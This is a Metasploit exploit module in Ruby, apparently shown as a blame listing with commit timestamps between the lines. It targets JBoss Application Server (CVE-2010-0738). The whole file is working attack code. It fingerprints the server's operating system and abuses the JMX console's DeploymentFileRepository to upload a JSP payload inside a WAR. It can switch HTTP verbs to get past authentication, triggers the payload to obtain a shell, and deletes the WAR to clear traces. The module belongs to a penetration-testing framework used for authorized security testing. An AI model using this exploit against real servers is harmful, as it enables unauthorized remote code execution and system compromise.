2010-05-09 17:30:05 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2010-05-07 22:21:44 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
|
2010-05-07 22:21:44 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-06-23 22:25:03 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss Java Class DeploymentFileRepository WAR deployment',
|
|
|
|
'Description' => %q{
|
2010-07-01 23:33:07 +00:00
|
|
|
This module uses the DeploymentFileRepository class in
|
|
|
|
JBoss Application Server (jbossas) to deploy a JSP file
|
2010-06-22 01:08:02 +00:00
|
|
|
in a minimal WAR context.
|
2010-06-23 22:25:03 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
|
|
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['linux', 'windows' ],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal',
|
2010-05-07 22:21:44 +00:00
|
|
|
{
|
2010-06-23 22:25:03 +00:00
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2010-05-07 22:21:44 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2010-06-22 01:08:02 +00:00
|
|
|
OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
|
2010-06-23 22:25:03 +00:00
|
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
|
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
|
|
|
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
2010-06-22 01:08:02 +00:00
|
|
|
OptString.new('VERB', [ true, "The HTTP verb to use", "POST"]),
|
2010-05-07 22:21:44 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2010-06-23 22:25:03 +00:00
|
|
|
jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
|
|
|
|
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
|
|
|
|
|
|
|
|
p = payload
|
2010-06-22 01:08:02 +00:00
|
|
|
if datastore['SHELL'] == 'automatic'
|
|
|
|
if not (plat = detect_platform())
|
|
|
|
raise RuntimeError, 'Unable to detect platform!'
|
|
|
|
end
|
2010-05-07 22:21:44 +00:00
|
|
|
|
2010-06-22 01:08:02 +00:00
|
|
|
case plat
|
|
|
|
when 'linux'
|
|
|
|
datastore['SHELL'] = '/bin/sh'
|
|
|
|
when 'win'
|
|
|
|
datastore['SHELL'] = 'cmd.exe'
|
|
|
|
end
|
2010-05-07 22:21:44 +00:00
|
|
|
|
2010-06-22 01:08:02 +00:00
|
|
|
print_status("SHELL set to #{datastore['SHELL']}")
|
|
|
|
|
2010-08-03 15:14:34 +00:00
|
|
|
return if ((p = exploit_regenerate_payload(plat, target_arch)) == nil)
|
2010-06-22 01:08:02 +00:00
|
|
|
end
|
|
|
|
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2010-06-23 22:25:03 +00:00
|
|
|
#
|
|
|
|
# UPLOAD
|
|
|
|
#
|
2010-06-22 01:08:02 +00:00
|
|
|
data = 'action=invokeOpByName'
|
2010-05-11 16:20:46 +00:00
|
|
|
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
2010-06-22 01:08:02 +00:00
|
|
|
data << '&methodName=store'
|
|
|
|
data << '&argType=java.lang.String'
|
2010-06-23 22:25:03 +00:00
|
|
|
data << '&arg0=' + Rex::Text.uri_encode(app_base) + '.war'
|
2010-06-22 01:08:02 +00:00
|
|
|
data << '&argType=java.lang.String'
|
2010-06-23 22:25:03 +00:00
|
|
|
data << '&arg1=' + jsp_name
|
2010-06-22 01:08:02 +00:00
|
|
|
data << '&argType=java.lang.String'
|
2010-05-11 16:20:46 +00:00
|
|
|
data << '&arg2=.jsp'
|
2010-06-22 01:08:02 +00:00
|
|
|
data << '&argType=java.lang.String'
|
2010-06-23 22:25:03 +00:00
|
|
|
data << '&arg3=' + Rex::Text.uri_encode(p.encoded)
|
2010-06-22 01:08:02 +00:00
|
|
|
data << '&argType=boolean'
|
2010-05-11 16:20:46 +00:00
|
|
|
data << '&arg4=True'
|
|
|
|
|
|
|
|
if (datastore['VERB'] == "POST")
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
2010-06-23 22:25:03 +00:00
|
|
|
'uri' => datastore['PATH'] + '/HtmlAdaptor',
|
2010-05-11 16:20:46 +00:00
|
|
|
'method' => datastore['VERB'],
|
|
|
|
'data' => data
|
2010-06-22 01:08:02 +00:00
|
|
|
}, 5)
|
2010-05-11 16:20:46 +00:00
|
|
|
else
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
2010-06-23 22:25:03 +00:00
|
|
|
'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data,
|
2010-05-11 16:20:46 +00:00
|
|
|
'method' => datastore['VERB'],
|
2010-06-22 01:08:02 +00:00
|
|
|
}, 5)
|
2010-05-11 16:20:46 +00:00
|
|
|
end
|
2010-05-07 22:21:44 +00:00
|
|
|
|
2010-06-23 22:25:03 +00:00
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
2010-06-22 01:08:02 +00:00
|
|
|
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
|
|
|
# but the file still gets written.
|
|
|
|
if (res.code == 200 || res.code == 500)
|
2010-06-23 22:25:03 +00:00
|
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
2010-06-22 01:08:02 +00:00
|
|
|
print_status("Triggering payload at '#{uri}'...")
|
2010-05-11 16:20:46 +00:00
|
|
|
verb = 'GET'
|
|
|
|
if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
|
|
|
verb = 'HEAD'
|
|
|
|
end
|
2010-06-23 22:25:03 +00:00
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most
|
|
|
|
# and sleep 3 seconds in between.
|
|
|
|
5.times do
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => verb,
|
|
|
|
})
|
|
|
|
if !res
|
|
|
|
print_error("Execution failed on '#{uri}' [No Response], retrying...")
|
|
|
|
select(nil,nil,nil,3)
|
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
|
|
|
print_error("Execution failed on '#{uri}' [#{res.code} #{res.message}], retrying...")
|
2010-07-01 23:33:07 +00:00
|
|
|
select(nil,nil,nil,3)
|
2010-06-23 22:25:03 +00:00
|
|
|
elsif res.code == 200
|
|
|
|
print_status("Successfully triggered payload at '#{uri}'.")
|
|
|
|
break
|
|
|
|
else
|
|
|
|
print_error("Denied...")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
|
|
|
# The WAR can only be removed by physically deleting it, otherwise it
|
|
|
|
# will get redeployed after a server restart.
|
|
|
|
print_status("Undeploying #{uri} by deleting the WAR file via DeploymentFileRepository.remove()...")
|
|
|
|
res1 = delete_file(Rex::Text.uri_encode(app_base) + '.war', jsp_name, '.jsp')
|
|
|
|
res2 = delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
|
|
|
[res1, res2].each do |res|
|
|
|
|
if !res
|
|
|
|
print_error("WARNING: Unable to remove WAR [No Response]")
|
|
|
|
end
|
|
|
|
if (res.code < 200 || res.code >= 300)
|
|
|
|
print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
2010-06-22 01:08:02 +00:00
|
|
|
end
|
|
|
|
end
|
2010-06-23 22:25:03 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Delete a file with DeploymentFileRepository.remove().
|
|
|
|
def delete_file(folder, name, ext)
|
|
|
|
data = 'action=invokeOpByName'
|
|
|
|
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
|
|
|
data << '&methodName=remove'
|
|
|
|
data << '&argType=java.lang.String'
|
|
|
|
data << '&arg0=' + folder
|
|
|
|
data << '&argType=java.lang.String'
|
|
|
|
data << '&arg1=' + name
|
|
|
|
data << '&argType=java.lang.String'
|
|
|
|
data << '&arg2=' + ext
|
|
|
|
|
|
|
|
if (datastore['VERB'] == "POST")
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => datastore['PATH'] + '/HtmlAdaptor',
|
|
|
|
'method' => datastore['VERB'],
|
|
|
|
'data' => data
|
|
|
|
}, 5)
|
2010-05-07 22:21:44 +00:00
|
|
|
else
|
2010-06-23 22:25:03 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data,
|
|
|
|
'method' => datastore['VERB'],
|
|
|
|
}, 5)
|
2010-05-07 22:21:44 +00:00
|
|
|
end
|
2010-06-23 22:25:03 +00:00
|
|
|
res
|
2010-05-07 22:21:44 +00:00
|
|
|
end
|
|
|
|
|
2010-06-22 01:08:02 +00:00
|
|
|
def detect_platform
|
|
|
|
print_status("Attempting to automatically detect the platform...")
|
2010-06-23 22:25:03 +00:00
|
|
|
path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
2010-06-22 01:08:02 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => path,
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (not res) or (res.code != 200)
|
|
|
|
print_error("Failed: Error requesting #{path}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2011-04-03 17:40:45 +00:00
|
|
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
2010-06-22 01:08:02 +00:00
|
|
|
os = $1
|
|
|
|
if (os =~ /Linux/i)
|
|
|
|
return 'linux'
|
2011-04-03 17:40:45 +00:00
|
|
|
elsif (os =~ /FreeBSD/i)
|
|
|
|
return 'linux'
|
2010-06-22 01:08:02 +00:00
|
|
|
elsif (os =~ /Windows/i)
|
|
|
|
return 'win'
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
2010-05-07 22:21:44 +00:00
|
|
|
end
|